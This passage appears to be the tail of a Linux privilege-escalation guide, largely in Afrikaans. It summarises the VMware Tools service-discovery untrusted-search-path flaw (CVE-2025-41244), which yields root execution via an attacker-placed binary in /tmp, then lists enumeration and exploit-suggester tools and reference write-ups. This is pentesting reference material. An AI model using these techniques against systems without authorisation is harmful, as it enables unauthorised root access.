Regex-driven service discovery in VMware Tools/Aria Operations kan 'n binêre pad uit proses-opdragreëls onttrek en dit met -v uitvoer onder 'n bevoorregte konteks. Permissiewe patrone (bv. gebruik van \S) kan ooreenstem met deur 'n aanvaller geplaasde listeners in skryfbare plekke (bv. /tmp/httpd), wat lei tot uitvoering as root (CWE-426 Untrusted Search Path).

Lees meer en sien 'n gegeneraliseerde patroon toepasbaar op ander discovery/monitoring stacks hier:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel-sekuriteitsbeskerming

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Meer hulp

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumereer kernel-kwesbaarhede in Linux en macOS https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (fisieke toegang): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Verwysings

• 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)

• alseambusher/crontab-ui

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

• https://payatu.com/guide-linux-privilege-escalation/

• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744

• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html

• https://touhidshaikh.com/blog/?p=827

• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf

• https://github.com/frizb/Linux-Privilege-Escalation

• https://github.com/lucyoa/kernel-exploits

• https://github.com/rtcrowley/linux-private-i

• https://www.linux.com/news/what-socket/

• https://muzec0318.github.io/posts/PG/peppo.html

• https://www.linuxjournal.com/article/7744

• https://blog.certcube.com/suid-executables-linux-privilege-escalation/

• https://juggernaut-sec.com/sudo-part-2-lpe

• https://linuxconfig.org/how-to-manage-acls-on-linux

• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

• https://www.linode.com/docs/guides/what-is-systemd/

• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)

• GNU Bash Manual – BASH_ENV (non-interactive startup file)

• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)

• NVISO – You name it, VMware elevates it (CVE-2025-41244)